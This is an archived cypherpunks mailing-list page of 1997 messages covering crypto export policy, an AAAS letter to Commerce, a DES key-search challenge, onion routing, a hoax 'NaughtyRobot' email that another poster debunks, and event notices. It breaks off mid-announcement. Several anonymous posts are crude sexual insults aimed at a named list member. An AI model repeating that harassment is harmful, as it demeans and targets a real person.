December 2003 - cypherpunks-legacy

Condolences
by Ross Wright 17 Dec '03

17 Dec '03

Tim: Well, if I am still in your killfile you won't be reading this. That's too bad. I just want to say the you are really being given the stake through the heart treatment by Sandy. And you say in your post, from the flames trash bin, Re: Constitution and a Right to Privacy: "I write about what I find interesting. You all know where the Delete key is. (Of course, a fairly large fraction of my recent posts have been deleted for you by Sandy, who sends many of my posts to neither the Main list nor the Flames list. Bet a lot of you didn't know this, did you?)" No, I did not know that and it pisses me off!!! Fuck everyone. Ross =-=-=-=-=-=- Ross Wright King Media: Bulk Sales of Software Media and Duplication Services http://www.slip.net/~cdr/kingmedia Voice: 415-206-9906

1 0

Re:
by Otto Matic 17 Dec '03

17 Dec '03

>Date: Wed, 19 Feb 1997 15:37:45 -0800 >From: "Timothy C. May" <tcmay(a)got.net> >To: shark(a)turk.net, cypherpunks(a)toad.com >Subject: "Trial" >At 8:02 PM +0200 2/19/97, Shark wrote: >>Trial > >OK, that makes 18 votes for "trial," 26 votes for "no trial," and 3 people >asking what the hell the vote is all about. Make that 4 what the hells. What the hell? this is the first I've seen of this post... I feel so left out. > >Looks like there won't be a trial and we can move directly to the punishment. > > >--Klaus! von Future Prime > > > >-- >[This Bible excerpt awaiting review under the U.S. Communications Decency >Act of 1996] >And then Lot said, "I have some mighty fine young virgin daughters. Why >don't you boys just come on in and fuck them right here in my house - I'll >just watch!"....Later, up in the mountains, the younger daughter said: >"Dad's getting old. I say we should fuck him before he's too old to fuck." >So the two daughters got him drunk and screwed him all that night. Sure >enough, Dad got them pregnant, and had an incestuous bastard son....Onan >really hated the idea of doing his brother's wife and getting her pregnant >while his brother got all the credit, so he pulled out before he >came....Remember, it's not a good idea to have sex with your sister, your >brother, your parents, your pet dog, or the farm animals, unless of course >God tells you to. [excerpts from the Old Testament, Modern Vernacular >Translation, TCM, 1996] > > > otto =-=-=-=-=- Otto Matic "Fuckin' A, Miller!" Bud, Repo Man --------------------------------------------------------- Get Your *Web-Based* Free Email at http://www.hotmail.com ---------------------------------------------------------

1 0

Re: security breached by NaughtyRobot
by Bill Stewart 17 Dec '03

17 Dec '03

Don't panic. It's just a hoax. Lots of other people have received it. The hoaxer got your address somewhere off the Internet (maybe Usenet, maybe your web page) and sent you the email. At 12:40 PM 2/20/97 +0900, Ellen Iwasaki wrote: >HELP! Can anyone tell me what this message is that I received in my mail >today? Is it real? Should I do as it suggests? I have used the Internet >once to purchase some books? Was my credit card number stolen in the >process? How did this happen and how will it affect me? What should I do? >PLEASE ADVISE ASAP! Thank you for your help >Ellen Iwasaki >Kumamoto, Japan > >> From: eiwasaki(a)gol.com >> Date: Wed, 19 Feb 97 02:27 CST >> Apparently-From: eiwasaki(a)gol.com >> Apparently-To: eiwasaki(a)gol.com >> Reply-to: eiwasaki(a)gol.com >> Registered-mail-reply-requested-by: eiwasaki(a)gol.com >> Sensitivity: PERSONAL-CONFIDENTIAL >> Precedence: EMERGENCY >> Priority: URGENT >> Comment: Authenticated sender is <eiwasaki(a)gol.com> >> Organization: NaughtyRobot >> Subject: security breached by NaughtyRobot >> >> This message was sent to you by NaughtyRobot, an Internet spider that >> crawls into your server through a tiny hole in the World Wide Web. >> >> NaughtyRobot exploits a security bug in HTTP and has visited your host >> system to collect personal, private, and sensitive information. >> >> It has captured your Email and physical addresses, as well as your phone >> and credit card numbers. To protect yourself against the misuse of this >> information, do the following: >> >> 1. alert your server SysOp, >> 2. contact your local police, >> 3. disconnect your telephone, and >> 4. report your credit cards as lost. >> >> Act at once. Remember: only YOU can prevent DATA fires. >> >> This has been a public service announcement from the makers of >> NaughtyRobot -- CarJacking its way onto the Information SuperHighway. >> > > > > # Thanks; Bill # Bill Stewart, +1-415-442-2215 stewarts(a)ix.netcom.com # You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp # (If this is a mailing list, please Cc: me on replies. Thanks.)

1 0

user: cypherpunks, password: cypherpunks
by Damaged Justice 17 Dec '03

17 Dec '03

Content Sites Vexed By Password Abuse The high cost of subscribers sharing log-ons By Whit Andrews Playboy magazine even has a term for it: "frat-house syndrome." Just as readers might pass around a magazine or a copy of a newsletter among themselves-- why buy multiple copies when you can see it after the guy down the hall is finished?-- Internet users often freely share access to their electronic subscriptions. The difference is that the number of people who can use a magazine or newsletter simultaneously is finite--limited to, say, a workgroup or the number of people who can comfortably fit onto a couch. On the Web, that expands to the number of people worldwide who can hunker in front of their monitors, printers, and personal digital assistants. "We did have one situation where a person posted a link to a story, and with it a user ID and password, on the Web, so people could get into it," said Tom Baker, business director of The Wall Street Journal Interactive edition. "He just thought it was an interesting story." Baker said that user seemed somewhat naive about the profound flouting of copyright law in which he was engaging, and several content providers have reported similar anecdotes involving clueless users. "I even have people we do business with say, 'Oh yeah, I got a password for our office,'" said Kenneth Dotson, vice president of marketing at SportsLine USA Inc., a Fort Lauderdale, Fla.-based sports site with members-only content areas. "I've had that happen two or three times now." The problem of subscribers treating their privileges as a commodity that they can give away is particularly vexing to Web content sites, which have in most cases crossed a difficult hurdle in graduating to a model supported at least to some extent by subscription fees. Losing those usually low fees to user abuse is thus doubly frustrating. "We're here trying to make money," said Jay Froscheiser, corporate Webmaster at Data Transmission Network Corp., an Omaha, Neb., online service creating new products on the Web with prices ranging from $20 to $50 monthly for access. "Serving 10 people on an account, we can't make money." DTN's solution is to use cookies, the tidbits of information that sites can store in browser files to track users' preferences and identities. If subscribers want to change browsers or access information from a different computer, they have to call DTN and set up the switch. Froscheiser said some subscribers complain that the system is too Draconian. For example, while many of the farmers who use agricultural information services have only one computer to work with, others whose work situations make them more itinerant are frustrated by their inability to log on from home, work, and elsewhere. But without exact statistics, it's DTN that is inconvenienced, because its deals with content providers are generally based on the number of subscribers who access the providers' services through DTN, Froscheiser said. "We have to have 100 percent accountability for how many people per service there are." Other content providers, whose prices are generally lower and are often defrayed by advertising to generate revenues, have adopted innovative ways to lure subscription cheats into ponying up the price to join. SportsLine, for instance, automatically enters members in all giveaways and promotions, whereas casual users have to key in their information manually. Subscribers can personalize their pages to allow them to follow special sports and teams. Dotson said such gentle measures are intended to make it more attractive to be a member than to use someone else's account, and are the only step likely for the company, at least into the near future. "The environment of the Web doesn't really allow you to police it," he said, and after all, the company has enough of a revenue stream from ads to make extra users less of a burden. "We say, 'Okay, not much we can do about it, we'll just enjoy the extra page views.' " sitewide licenses Other companies whose information is more likely to be passed among office workers who share business interests rather than sports conversations are aggressively pursuing sitewide licenses and lower prices. The Wall Street Journal Interactive offers deals to offices that allow users to sign up, not with a credit-card number, but with a company ID number. Lexis-Nexis does not allow individual licenses, but prices its Web services based on how many people there are in the office instead. All of the content providers agreed that they would prefer other methods of controlling distribution, but that barring technological advances of significant proportion, they're stuck with what they've got. "Our strategy is not to implement a solution that's worse than the problem," said Wall Street Journal Interactive's Baker of encrypted document schemes and micropayment models. "If there were a way to protect our information that didn't put an onerous restriction on our subscribers reading it, we'd do it." Eileen Kent, vice president, new media division of Playboy Enterprises Inc. in Chicago, echoed the sentiment. Until technology improves, she said, content providers need to assume that there will be some improper use of memberships. "I think the technology will find solutions," she said. "But until then, it's just a cost of doing business." ______________________________________________________________ Reprinted from Web Week, Volume 3, Issue 4, February 17, 1997 ) Mecklermedia Corp. All rights reserved. Keywords: content electronic_commerce Date: 19970217 http://www.iworld.com

1 0

RRE: AAAS Crypto Letter -> Scientific Freedom & Human Rights"
by E. Allen Smith 17 Dec '03

17 Dec '03

From: IN%"rre(a)weber.ucsd.edu" 20-FEB-1997 23:02:43.31 From: Phil Agre <pagre(a)weber.ucsd.edu> =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= This message was forwarded through the Red Rock Eater News Service (RRE). Send any replies to the original author, listed in the From: field below. You are welcome to send the message along to others but please do not use the "redirect" command. For information on RRE, including instructions for (un)subscribing, send an empty message to rre-help(a)weber.ucsd.edu =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Date: Thu, 20 Feb 1997 14:16:54 -0500 From: afowler(a)aaas.org (Alex Fowler) Subject: AAAS Crypto Letter -> Scientific Freedom & Human Rights What follows is a copy of the letter sent under the signature of AAAS' Executive Officer, Dr. Richard Nicholson, to the Department of Commerce on the Bureau of Export Administration's Interim Rule on the transfer of certain encryption items. The letter expresses our concern that the current federal policy with regard to encryption raises serious questions for both scientific freedom and human rights work. In addition, it marks the first time that the Association has weighed in on the crypto debate at this level. Sincerely, Alex Fowler AAAS Scientific Freedom, Responsibility and Law Program American Association for the Advancement of Science 1200 New York Avenue, NW, Washington, DC, 20005 February 7, 1997 Ms. Nancy Crowe Regulatory Policy Division Bureau of Export Administration Department of Commerce 14th Street and Pennsylvania Ave., NW, Room 2705 Washington, DC 20230 Dear Ms. Crowe: On behalf of the American Association for the Advancement of Science (AAAS), the world's largest general scientific society, I am responding to the Bureau of Export Administration's Interim Rule on the transfer of certain encryption items, published in the Federal Register, December 30, 1996. Before commenting directly on specific provisions of the Interim Rule, it is important to make the point that its basic thrust threatens to undermine essential features of scientific freedom and the open exchange of information that are generally acknowledged as critical to innovation in science and technology and are responsible in large part for the preeminence of America's research and development enterprise. AAAS opposes attempts by the government to restrict the communication or publication of unclassified research and technical information, efforts which we believe are inconsistent with scientific advancement. We are also concerned that certain provisions of the Interim Rule will adversely affect the effective use of information technologies in efforts to protect and promote human rights. Many of our members in the academic community have legitimate concerns that teaching courses on cryptography appears to violate the Interim Rule if foreign students are enrolled in such courses. Such a control seems to be inadvertent, since Part 744.9 states that "mere teaching or discussion of information about cryptography ... by itself would not establish the intent described in this section, even where foreign persons are present." However, Parts 734.3(b) and 734.9 place controls on all "educational information" applying to encryption software controlled under ECCN 5D002, and "Educational information" is defined as "release by instruction in ... academic institutions." This matter requires further clarification to avoid any unnecessary chilling effect on our educational process. Currently, part 734.3 (b)(3) of the EAR posits a difference between the paper and electronic publication of the same cryptographic materials. While it is acceptable under this provision to publish such material in a book and distribute it internationally without an export license, putting the same information on a disk and sending it abroad is subject to EAR approval. This distinction has serious ramifications for scholarly communication as many professional journals are now moving onto the Internet as electronic publications. Will cutting-edge innovations in cryptography be publishable in this new medium? Consider the following example: the full text of Science magazine, the major peer reviewed journal published by AAAS, is currently available in both print and electronic formats. According to the cited part in the EAR, an article accepted for publication on a new cryptographic algorithm would be acceptable in the print version of the publication. However, because the electronic version is available to people outside the U.S., to comply with EAR, the journal would either have to be published without this article or substantial parts omitted. Scientific publications are crucial to the advancement of science and technology and form a primary source of communication among researchers worldwide. Restrictions that limit potential collaborations and channels of communication into new and innovative cryptographic products will not only impede scientific progress, but will also retard the evolution of a secure Global Information Infrastructure. AAAS has encouraged the development of ethical standards by scientists to encourage responsible conduct and to establish accountability to a supportive public. The codes of professional conduct promulgated by the largest and most important U.S. professional engineering and computing societies all stress the importance of protecting established cultural and ethical norms of information privacy and data integrity. For example, the American Society of Information Science's Code of Ethics for Information Professionals mandates that its members "uphold each user's, provider's or employer's rights to privacy" and resist "all forms of censorship" in carrying out their responsibility "to improve, to the best of their means and abilities, the information systems in which they work or which they represent." The Interim Rule would compel these scientists and engineers -- as employees of major software and hardware computing companies -- to produce information security systems that are intentionally weak for international markets. This would create an ethical dilemma for the professional. He is bound by his responsibility to honor the ethical norms agreed upon by his profession, but as a citizen of the U.S., he is also bound by his responsibility to act according to these federal regulations. The government should avoid whenever possible creating circumstances where professionals must make such choices. AAAS provides technical assistance to human rights groups on the design and development of information management systems for large-scale human rights data collection and analysis. This process concentrates politically volatile information in computers, such as the names of witnesses to military massacres in Guatemala who could be subjected to intimidation, harassment, or murder by those intent on preventing the public discussion and analysis of the information. Such a system must be protected by strong cryptography. In our human rights work, we have observed the growing importance of non-governmental monitoring of state compliance with international human rights agreements as the first line of defense a civil society has against abusive regimes. By documenting and publicizing analyses of abusive behavior by governments, non-governmental human rights organizations provide a fundamental check on state repression. In order to be effective, human rights monitoring organizations must function with a high level of confidentiality. They must protect the people who give them information about state violations of human rights. Similarly, organizations must protect their own staff, many of whom may not be openly associated with the organization. As an increasing proportion of human rights work is supported by the use of information technology, cryptographic techniques, including but not limited to encryption, have become immensely more important. Organizations that concentrate valuable, dangerous information in databases on hard disks must be able to protect them from local authorities, who may be the subjects of human rights investigations. Human rights groups communicating their findings with collaborating organizations in other countries must be able to transmit their information securely. The sending organization must include sufficient information so that the receiving organization can verify the claims. If the information needed to verify the claims were intercepted, it could put the claimants in very serious danger. Using strong cryptography, human rights organizations can communicate their findings without putting informants or staff at additional risk. These are only a few examples of the compelling need for strong cryptography by human rights organizations. The licensing provisions in the Interim Rule permit only inadequate technology for the fundamental, democratic needs of non-government human rights organizations. Part 742.15 of the Interim Rule suggests three categories of weak or unsafe encryption that are eligible for accelerated licensing: (1) includes 40-bit products called "mass market encryption software"; (2) permits key recovery products; and (3) allows non-recovery encryption items using the DES algorithm with 56-bit keys. Provisions (1) and (3) are equally untenable for human rights purposes because they authorize only products known to be breakable with available and inexpensive technology. Provision (2), key recovery, is equally unsatisfactory for human rights organizations. If keys can be recovered by the U.S. government, why should human rights organizations whose entire function is defined by abusive governments trust that their information will remain secure? Given past and ongoing AAAS work in countries such as Haiti, Honduras, Guatemala, Turkey, and South Africa, this matter is of particular concern to us. In view of these concerns, we urge the Bureau of Export Administration to amend the Interim Rule in favor of a more open exchange of ideas and information relating to cryptography. We believe this would advance the nation's interests in a manner consistent with the values that are responsible for America's widely admired scientific achievements and its enduring democratic traditions. Sincerely, Richard S. Nicholson cc: John H. Gibbons Mary L. Good Orrin G. Hatch, Chair, Senate Judiciary Committee Patrick J. Leahy, Ranking Minority Member, Senate Judiciary Committee Jesse Helms, Chair, Senate Foreign Relations Committee Joseph R. Biden, Jr., Ranking Minority Member, Senate Foreign Relations Committee John McCain, Chair, Senate Commerce, Science, and Transportation Committee Ernest F. Hollings, Ranking Minority Member, Senate Commerce, Science & Transportation Committee Conrad Burns, Member, Senate Commerce, Science, and Transportation Committee Tom Bliley, Chair, House Commerce Committee John D. Dingell, Ranking Minority Member, House Commerce Committee Bob Goodlatte, Member, House Commerce Committee Henry J. Hyde, Chair, House Judiciary Committee John Conyers, Jr., Ranking Minority Member, House Judiciary Committee Benjamin A. Gilman, Chair, House International Relations Committee Lee H. Hamilton, Ranking Minority Member, House International Relations Committee F. James Sensenbrenner, Jr., Chair, House Science Committee George E. Brown, Jr., Ranking Minority Member, House Science Committee Kenneth C. Bass, III, Esq. Ann Beeson, Esq. Cindy A. Cohn, Esq. Gino J. Scarselli, Esq. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= For more information, contact: Alexander Fowler or Patrick Ball Directorate for Science and Policy Programs 1200 New York Avenue, NW Washington, DC 20005 (202) 326-6600; Fax (202) 289-4950 afowler(a)aaas.org or pball(a)aaas.org =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

1 0

One-time pads
by lucifer＠dhp.com 17 Dec '03

17 Dec '03

`A pen is mightier than a sword', not to mention Tim Maya's pea-sized penis. He would be better served by a safety razor, possibly applied in a bathtub filled with warm water (something he has surely never been into). /''' c-OO Tim Maya \ -

1 0

Re: DES Key recovery project, Progress Report #7
by Bubba Rom Dos 17 Dec '03

17 Dec '03

WeakHold wrote: > > sameer wrote: > > I think Europeans are just not materialistic money grubbers like those of us at C2Net. > > When does the "StrongHold BackDoor Challenge" start? It started when Sandy first bent over for Sameer. > -- > Sameer Parekh Voice: 510-986-8770 > President FAX: 510-986-8777 > C2Net > http://www.c2.net/ sameer(a)c2.net

1 0

Global Encryption Policy
by John Young 17 Dec '03

17 Dec '03

Mike Cobb's and Peter Gutmann's tales of mixed signals from UK and NZ security agencies on exporting crypto demonstrate the same conflicting policies of their nations' governments as do the travails of Zimmermann, Bernstein, Karn and Junger with the USG -- lacking clear regulations, the agencies try bluff and obfuscation. The US move to clarify and tighten regulations in recent ITAR and EAR amendments surely will be emulated by other nations, as promised by The Wassenaar Arrangement. It is part of the major shift of responsibility for dual-use items from national security agencies to those handling economic security, and the guidelines are not as black and white for commerce as they are for state -- or at least not as yet strictly codified, regulated and enforced. However, what is happening with crypto is happening with a wide range of dual-use items, as the half-century old national security policy undergoes a transformation into economic security policy, with the pervasive impact on subsidiary procedures and regulations in security, armaments, intelligence, research, invention, manufacturing, law, finance, politics, education and so on. Note that the World Trade Organization is supplanting the United Nations as a forum for dispute resolution (NY Times, 18 February 1997). For more on these State-into-Commerce policy deliberations see: The GAO/NSIAD report "Exporting Dual-Use Items," 14 January 1997: http://jya.com/9724.htm Export Administration Regulations, with related presidential orders and agency rules and regulations: http://jya.com/eartoc.htm Bert-Jaap's site and a 1996 State Department address on The Wassenaar Arrangement: http://jya.com/dos012396.txt The Defense Trade News from January 1993 to October 1995 on the shift of encryption items from the USML to the CCL: http://jya.com/dtn0193 (+ four) "Redefining Security," The Joint Security Commission's February 1994 report to DefSEc and DCI: http://jya.com/jcs.htm

1 0

Re: Any more like www.anonymizer.com ??
by Michael G. Reed 17 Dec '03

17 Dec '03

-----BEGIN PGP SIGNED MESSAGE----- Robert Hettinga <rah(a)shipwright.com> wrote: >+At 8:29 pm -0500 on 2/18/97, ! Drive wrote: >+>A proposal and prototype of a different anonymity mechanism can be found at: >+> http://www.itd.nrl.navy.mil/ITD/5540/projects/onion-routing/overview.html >+ >+And, of course, you can hear about the next generation from the same >+bunch, on Monday morning at FC97: >+ >+ Unlinkable Serial Transactions >+ Paul F. Syverson (Naval Research Laboratory, Washington, DC, USA), >+ Stuart G. Stubblebine (AT&T Labs--Research, Murray Hill, NJ, USA), >+ David M. Goldschlag (Naval Research Laboratory, Washington, DC, USA) Hey! I always love it when someone references *MY* work :-) Just for the record: Paul, David, and I did (and continue to do) the Onion Routing work...Stuart, Paul, and David are working on other areas together (granted, those areas may use a system like Onion Routing to accomplish some of the anonymity necessary, but it is different work). If anyone wants more info than the URL above gives, drop me a line... - -Michael Computer Engineer / Research Scientist Computer Security Section (code 5542) Center for High Assurance Computer Systems Naval Research Laboratories -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBMw2orE8Qx019l0ClAQF+wAQAk9m/0OGZRBM4IBrZx1/qEvUfK7xS6lcv O2f1q1zKHzn47RosR8+MnmN0krGInMle2uw6zsbq3w/hJmQVza+ju4DM43VYroSm bEAw262NIZA183xkG9Ufaklgq0PI6x6rNC6KBhhYJqsy7Hb+2R5Wu8nsU31E+qul /xF9xxabS20= =EpIB -----END PGP SIGNATURE-----

1 0

Re: DES search publicity (was Re: Cryptanalysis)
by Peter Trei 17 Dec '03

17 Dec '03

> Date: Thu, 20 Feb 1997 19:07:18 -0500 (EST) > From: "Mark M." <markm(a)voicenet.com> > > On Wed, 19 Feb 1997, Adam Back wrote: > > > Have there been any sightings of your code outside the US? > > > > Rumor has it that ftp://ftp.******.com/pub/incoming is a place where > > things often turn up, but I haven't seen it yet. > > Last time I checked, deskr06i.zip, which I believe is the correct filename, > was in /pub/incoming. > > > Mark I have not checked this file to see if it is correct. For the record (which is why I've added coderpunks and cryptography), I have never exported cryptographic software without permission. Everyone to whom I have sent DESKR to has positively affirmed that they are US/Canadian citizens (or US Green Card holders), in the US/Canada, and were aware of, and would abide by the ITAR/EAR restrictions. The source code and executable are draped in warnings of it's non-exportability. I have bent over backwards to do due diligence on this, and am still trying to track down a restricted ftp server which, in my (possibly extreme) opinion, meets my requirements. I have no intention or desire to be the next poster child for crypto export. In other words: I disclaim any responsibility for someone else's exporting DESKR, if that is what this file contains. Someone else may have knowingly broken the export regs, but it wasn't me, nor was it done at my request, or with my approval. Peter Trei trei(a)process.com ptrei(a)acm.org

1 0

Prizes, and coordinated vs uncoordinated search, redux.
by Peter Trei 17 Dec '03

17 Dec '03

[Sorry about the long list of lists, but this issue is being discussed in all of them.] 1. Different set of people seem to be working towards different sets of goals, and this seems to be the source of a lot of contention. My personal goal is to promote the easing of US export restrictions on cryptographic software. I regard these restrictions as promoting crime and espionage. They are also driving US jobs overseas, and crippling the US software industry's ability to compete in the world marketplace (yes, I'm an American, and have every intention of promoting my countries best interests). Recently, the US government tightened the rules on cryptographic software export, but left one tiny Devil's bargain of a loophole: if firms would agree in future to compromise the integrity of their products by adding back doors for 'key recovery', then they could export single DES sofware without 'key recovery' until the end of 1998. Clearly, the government's intent is to bribe software developers into 'voluntarily' adopting GAK (Government Access to Keys), when they would never do so without incentive. The rules also require that if either end of a transmission uses a GAK'd product, then both sides of the transmission must be tappable. This makes it difficult for GAK'd and non-GAK'd products to interoperate, and is a wedge to force GAK'd products into even purely domestic communications. I think that this is a horrible idea. One way to fight it is to discredit DES, by showing that any one with sufficient computing resources (or a modest amount of cash) can get single-DES keys broken. If I destroy the market for new DES products, developers will have less incentive to go along with the government's Faustian scheme. The model I am trying to emulate is that of a criminal or spy agency which wishes to decrypt a captured transmission. It's not unusual for such a capture to have a partially known plaintext. In some cases, they may be able to use special hardware to search the keyspace quickly, but if they don't, they could simply put out a message on the sci.crypt: "Tell me what DES key decrypts 0f 1e 2d 3c 4b 5a 69 78 to 'HTTP/1.0' and I'll send you $10,000." This level of attack is available to almost anyone, and I intend to show that it is effective. ------------------ As for the prize money, if the person winning it wants to send it to a non-profit organization, or is contractually bound to dispose of it in some particular way, that's their business. Myself, I'd probably buy a couple really top-of-the-line PCs (for me and my wife), and throw a big party. Thomas S. writes: > 2. What about the developers? They invest an awful lot of time and > effort into this project because they believe in a future of the > internet. The majority would be very unhappy if the money would > be used for personal profit. Speaking as a developer: I've been working on this project in my spare time for about 5 months now. When I talked to RSA about how to best set up the challenge, I *wanted* the money to go to the person finding the key, and I am pleased that that is what they have done. Which particular developers do you claim to speak for, anyway? Can't they speak for themselves? ------------------------- If the coordinated groups don't want to share their keyspace maps with others, that's their business. Effectively, they become just another uncoordinated searcher (though a very fast one). If a coordinated searcher does publish it's map, then people who trust it can use the data to avoid going over old ground. This would speed the search as we near the end, but has very little effect at the beginning. --------------------------- The coordinated groups are still trying to get their infrastructure in place. In the meantime, at my small employer, we are already searching about 10 million keys/sec, with probably twice that being searched by people with my software on the outsde. And I have still to do a general call for participation... Peter Trei trei(a)process.com ptrei(a)acm.org Peter Trei Senior Software Engineer Purveyor Development Team Process Software Corporation http://www.process.com trei(a)process.com

1 0

No Subject
by Bovine Remailer 17 Dec '03

17 Dec '03

Timmy C[reep] May's obsessive masturbation has lead to advanced degree of blindness and hairy palms. __\/__ . / ^ _ \ . |\| (o)(o) |/| -.OOOo----oo----oOOO.- Timmy C[reep] May

1 0

DCSB: Online Government & Electronic Commerce - Legislation and Public Sector Initiatives
by Robert Hettinga 17 Dec '03

17 Dec '03

-----BEGIN PGP SIGNED MESSAGE----- The Digital Commerce Society of Boston Presents Daniel Greenwood, Esq. Deputy General Counsel Information Technology Division Commonwealth of Massachusetts "Online Government & Electronic Commerce - Legislation and Public Sector Initiatives" Tuesday, March 4, 1997 12 - 2 PM The Downtown Harvard Club of Boston One Federal Street, Boston, MA Dan will give us an update on recent information age legislative and operational developments in the public sector. Special attention will be paid to: Electronic Signature and Record Legislation; Joint Government/Private Sector Attempts to Set Certification Authority Standards; Cutting Edge Public Sector PKI Projects; Recent Coordinated State-Federal-Foreign Electronic Commerce Policy Initiatives; and much, much more . . . Speaker: Daniel Greenwood, Esq. Information Technology Division, Deputy General Counsel Commonwealth of Massachusetts Office: http://www.state.ma.us/itd/legal home: http://www.tiac.net/biz/danielg Mr. Greenwood practices information technology law for the Commonwealth of Massachusetts. Recent relevant activities include: * Co-Author of the Draft 1997 Mass. Electronic Records and Signature Act * Chairman of the Commonwealth of Mass. PKI Task Force * Chairman of the ABA Info. Security Comm., Legislative Sub-Committee * Co-Chair of the ABA Cyberspace Law Comm., Legislative Work Group * Contributing Author: ABA Digital Signature Guidelines * Negotiator of Contracts for Internet Security and Payment Systems * Board Member of SigNet.Org and Chair of Legal Special Interest Group * Director of the Virtual State House Project (MIT/Stanford Law School) * Faculty Member: MCLE Health Care & Info. Technology Program * Guest Lecturer for Suffolk Law School High Tech. Symposium * Selection Board Chairman for First Commonwealth of Mass. C/A Business This meeting of the Digital Commerce Society of Boston will be held on Tuesday, March 4, 1997 from 12pm - 2pm at the Downtown Branch of the Harvard Club of Boston, One Federal Street. The price for lunch is $27.50. This price includes lunch, room rental, and the speaker's lunch. ;-). The Harvard Club *does* have dress code: jackets and ties for men, and "appropriate business attire" for women. We will attempt to record this meeting and put it on the web in RealAudio format at some future date We need to receive a company check, or money order, (or, if we *really* know you, a personal check) payable to "The Harvard Club of Boston", by Saturday, March 1, or you won't be on the list for lunch. Checks payable to anyone else but The Harvard Club of Boston will have to be sent back. Checks should be sent to Robert Hettinga, 44 Farquhar Street, Boston, Massachusetts, 02131. Again, they *must* be made payable to "The Harvard Club of Boston". If anyone has questions, or has a problem with these arrangements (We've had to work with glacial A/P departments more than once, for instance), please let us know via e-mail, and we'll see if we can work something out. Planned speakers for DCSB are: March Daniel Greenwood The Role of State Government in Digital Commerce April Stewart Baker Encryption Policy and Digital Commerce We are actively searching for future speakers. If you are in Boston on the first Tuesday of the month, and you would like to make a presentation to the Society, please send e-mail to the DCSB Program Commmittee, care of Robert Hettinga, <mailto: rah(a)shipwright.com> . For more information about the Digital Commerce Society of Boston, send "info dcsb" in the body of a message to <mailto: majordomo(a)ai.mit.edu> . If you want to subscribe to the DCSB e-mail list, send "subscribe dcsb" in the body of a message to <mailto: majordomo(a)ai.mit.edu> . Looking forward to seeing you there! Cheers, Robert Hettinga Moderator, The Digital Commerce Society of Boston -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBMwB+VvgyLN8bw6ZVAQEsRAQAiInZXDXlzdMn0B+b9A6zgWHH5POJku5v k9HIZK286Paw1KWKYsw8VyYjUoG4vq/LAh1CagWkwL4EN9Ysg7kbU+LP0W4u04vb /QoKk5rWpmXuplXx1Fp9IhIe2O6oV0vTInJqPV3zkXk4qGzYUrQ0bqLbQn769iMO 7pwwVbkioSc= =m5Pz -----END PGP SIGNATURE----- ----------------- Robert Hettinga (rah(a)shipwright.com) Philodox e$, 44 Farquhar Street, Boston, MA 02131 USA "Never attribute to conspiracy what can be explained by stupidity." -- Jerry Pournelle The e$ Home Page: http://www.shipwright.com/rah/ FC97: Anguilla, anyone? http://www.ai/fc97/

1 0

MULTI-JURISDICTIONAL TAXATION OF ELECTRONIC COMMERCE
by Robert Hettinga 17 Dec '03

17 Dec '03

--- begin forwarded text X-Authentication-Warning: arraydev.com: majordom set sender to owner-ibc-forum using -f X-Sender: tom(a)arraydev.com Date: Fri, 21 Feb 1997 13:31:31 -0500 To: ibc-forum(a)ARRAYdev.com From: Tom McKegney <Tom.McKegney(a)arraydev.com> Subject: MULTI-JURISDICTIONAL TAXATION OF ELECTRONIC COMMERCE Mime-Version: 1.0 Sender: owner-ibc-forum(a)arraydev.com Precedence: bulk Reply-To: ibc-forum(a)arraydev.com I pass on the following which was received Thu, 20 Feb 1997 16:58:48 -0500 From: Lara Becker <lbecker(a)law.harvard.edu> The International Tax Program Harvard University International Tax Program and the Tax Law Society 1997 Spring Symposium on MULTI-JURISDICTIONAL TAXATION OF ELECTRONIC COMMERCE Saturday, April 5, Cambridge, Massachusetts,U.S.A. The Symposium: Billions of dollars of valuable goods and services are sold, exchanged or transmitted electronically. The amount of such commercial activity is expected to grow exponentially in the future. The appropriate taxation of this sector is one of the most significant new tax issues of our day. The International Tax Program and the Society for Law and Tax Policy of Harvard Law School are sponsoring a symposium that will bring together the leading policy makers, academics and practitioners in this field in an effort to help derive uniform tax rules in this challenging dimension of domestic and international taxation. This symposium will consider a wide range of issues, including: **Differences in determining the electronic commerce income tax base. Should source or residence rules be used, or should some form of formulary apportionment be applied? **Problems in imposing retail sales taxes on electronic sales. Should traditional nexus rules apply? **Problems in determining the value added by electronic commercial inputs. Should a tax be determined based on the 'bits' of information? If so, should each 'bit' be valued the same? **Problems involving the harmonization of tax rules. International and sub-national aspects of this problem will be considered. OECD efforts in this area will be contrasted with proposed uniform state legislation in the US. **Throughout the symposium the impact that these tax decisions will have on cross-border investment decisions will be a primary concern. The Goals of the ITP: The International Tax Program continues to sponsor symposiums on topics of critical concern to government and private sector tax practitioners at Harvard University. It is the belief of the Program that such discussions will lead to advances in tax policy, administration and compliance on a global basis. THE MULTI-JURISDICTIONAL TAXATION OF ELECTRONIC COMMERCE presents such a challenge. Basic Income tax objectives such as efficiency and equality of treatment are made more difficult to achieve if the rules of the game are left to develop on an ad hoc basis. Through this forum the International Tax Program hopes to facilitate a meaningful interaction among policy makers around the core issues of taxation and the internet. ========= Schedule: Saturday, April 5, 1997 7:30 - 8:30: Coffee and Registration 8:30 - 9:00: Keynote Speaker, Mr. Jeffrey Owens, Chief, Fiscal Affairs Division: OECD (Paris) 9:00 - 11:30:INTERNATIONAL PANEL: Moderator: Professor Diane Ring, Harvard Law School Speakers: Mr. Bruce Cohen, Attorney-Advisor, Office of International Tax Counsel, U.S. Treasury Mr. Alan S. S. Ow, Senior Deputy Commissioner, Inland Revenue Authority, Singapore Mr. Nicasio del Castillo, Partner, Coopers & Lybrand Professor Luc Soete, Maastricht Economic Research Institute on Innovation and Technology, University of Maastricht, the Netherlands Mr. Arthur Cordell, Industry Canada, Special Advisor for Long Range Planning and Analysis 11:30 - 12:30: Catered Lunch 12:30 - 3:00: STATE PANEL Moderator: Professor Reuven Avi-Yonah, Harvard Law School Speakers: Ms. Deborah Bierbaum, Deputy Commissioner, Office of Tax Policy, Department of Taxation, New York Ms. Linda Lettera, General Counsel, Department of Revenue, Florida Mr. Wade Anderson, Director of Tax 